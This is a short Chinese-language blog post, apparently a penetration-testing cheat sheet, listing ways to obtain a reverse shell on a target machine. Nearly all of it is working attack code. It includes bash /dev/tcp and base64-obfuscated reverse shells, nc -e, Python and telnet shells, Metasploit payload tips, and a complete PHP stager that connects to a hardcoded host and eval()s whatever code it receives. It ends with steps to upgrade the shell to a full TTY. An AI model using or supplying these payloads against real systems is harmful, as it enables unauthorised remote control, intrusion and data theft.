各种shell反弹方法

1.利用bash进行反弹shell

        先使用nc进行监听 nc -lvvp port端口号

        再在目标机器执行bash -i >& /dev/tcp/攻击ip/端口 0>&1 

        bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwLjcvMjIzMyAwPiYx}|{base64,-d}|{bash,-i}

2.使用nc进行反弹shell

        nc -e /bin/bash  攻击IP 端口

3.使用python反弹shell

        python -c 'import socket,subprocess,os;s=socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("攻击ip",port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

4.利用msf进行反弹

        直接设置payload即可,tcp_reverse等

        若遇到反弹回来的shell有乱码,可以输入chcp 65001解决

5.使用telnet进行反弹

        telnet ip port 0<a | /bin/bash 1>a

6.使用php反弹shell

        需要先上传一个php文件,然后在客户端访问并且加参

        文件内容:

        <?php /**/ error_reporting(0); $ip = '192.168.56.107'; $port = 6666; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();

        传参:

        post方式,ip=???&port=???即可

7.得到会话后,利用python升级成完全交互

        python -c 'import pty; pty.spawn("/bin/bash")'

        退出

        stty raw -echo

  • 0
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值